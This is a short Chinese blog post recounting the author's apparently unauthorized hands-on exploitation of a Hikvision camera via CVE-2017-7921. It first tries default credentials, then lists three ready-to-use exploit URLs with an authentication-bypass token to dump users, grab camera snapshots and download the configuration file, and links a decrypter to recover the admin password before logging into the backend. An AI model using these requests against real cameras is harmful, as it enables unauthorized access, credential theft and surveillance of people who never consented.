海康威视CVE-2017-7921的一次实战利用

        先找到了这个海康威视的网站，找到这个网站，心里开心的一批，脸上一下就漏出了“猥琐”的笑脸。可是一波海康威视的默认口令admin:12345没成功。

        弱口令不行，就只有试试CVE了，网上一搜海康威视漏洞，出来的最多的就是CVE-2017-7921

CVE-2017-7921的exp有如下三个：

• 检索所有用户及其角色的列表

  http://camera.ip/Security/users?auth=YWRtaW46MTEK

        用户名还是默认用户admin    

• 在没有身份验证的情况下获取摄像头快照

http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

        因为涉及到摄像头隐私，这里打码比较严重

• 下载摄像头配置账号密码文件

http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

用hex编辑器打开下载的configurationFile文件发现是加密后的

        在github上找到一个师傅写的解密程序Hikvision Decrypter:https://github.com/WormChickenWizard/hikvision-decrypter

下载后我们加载解密这个configurationFile文件，然后用hex编辑器搜索admin，即可发现密码

这里记得要选Encrypted

解密以后，点击Save

使用十六进制编辑器或者记事本打开解密以后的文件，搜索admin可以找到密码

0x04 进入后台

进入后台，查看配置